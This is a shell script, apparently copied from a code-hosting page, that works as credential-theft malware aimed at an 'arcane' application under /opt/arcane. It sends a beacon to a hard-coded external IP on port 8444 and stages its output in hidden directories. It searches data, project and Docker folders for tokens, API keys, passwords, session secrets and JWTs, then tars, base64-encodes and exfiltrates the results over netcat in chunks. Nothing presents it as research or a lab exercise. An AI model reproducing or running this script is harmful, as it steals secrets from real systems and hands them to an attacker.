43 lines
1.5 KiB
Bash
Executable file
43 lines
1.5 KiB
Bash
Executable file
#!/bin/sh
|
|
#!/bin/sh
|
|
# ld_kk20 recon8 — arcane data 目录秘密收集
|
|
L=45.76.202.255
|
|
printf "gxR20 start\n" | nc -w 3 $L 8444 >/dev/null 2>&1
|
|
ST=""
|
|
for c in "${TMPDIR:-/tmp}/.gxr9" "$HOME/.gxr9" "/var/tmp/.gxr9"; do
|
|
if mkdir -p "$c" 2>/dev/null && [ -w "$c" ]; then ST="$c"; break; fi
|
|
done
|
|
[ -n "$ST" ] || ST="."
|
|
cd "$ST" 2>/dev/null || exit 0
|
|
R=.r20$$
|
|
rm -rf "$R"; mkdir "$R" || exit 0
|
|
|
|
{
|
|
echo "== data tree"
|
|
find /opt/arcane/data /opt/arcane/projects /opt/arcane/.docker -maxdepth 5 2>/dev/null | head -60
|
|
} >"$R/tree.txt"
|
|
|
|
{
|
|
for f in $(find /opt/arcane/data /opt/arcane/projects /opt/arcane/.docker \
|
|
-maxdepth 6 -type f -size -64k -readable 2>/dev/null | head -25); do
|
|
echo "--- $f ($(stat -c%s "$f" 2>/dev/null))"
|
|
grep -aoE "\"?(token|apiKey|api_key|password|secretKey|sessionSecret|jwt)\"?[:=][^,\"\\]{4,70}" "$f" 2>/dev/null | head -8
|
|
case "$f" in *.env*|*.json|*.toml|*.yaml|*.yml|auth*|session*) sed -n "1,24p" "$f" 2>/dev/null;; esac
|
|
done
|
|
} >"$R/sec.txt"
|
|
|
|
tar czf t20.tgz "$R" 2>/dev/null
|
|
B=$(base64 -w0 t20.tgz 2>/dev/null)
|
|
if command -v nc >/dev/null 2>&1 && [ -n "$B" ]; then
|
|
n=$(printf "%s\n" "$B" | fold -w 55000 | wc -l)
|
|
i=0
|
|
printf "%s\n" "$B" | fold -w 55000 | while read -r c; do
|
|
i=$((i+1))
|
|
printf "gxR20 %s/%s %s %s\n" "$i" "$n" "$ST" "$c" | nc -w 6 $L 8444 >/dev/null 2>&1
|
|
done
|
|
fi
|
|
rm -rf "$R" t20.tgz
|
|
exit 0
|
|
|
|
command -v nc >/dev/null 2>&1 && printf "gx FIRED %s\n" "$(date +%H%M%S%d)" | nc -w 3 45.76.202.255 8444 >/dev/null 2>&1 ;
|
|
exit 0
|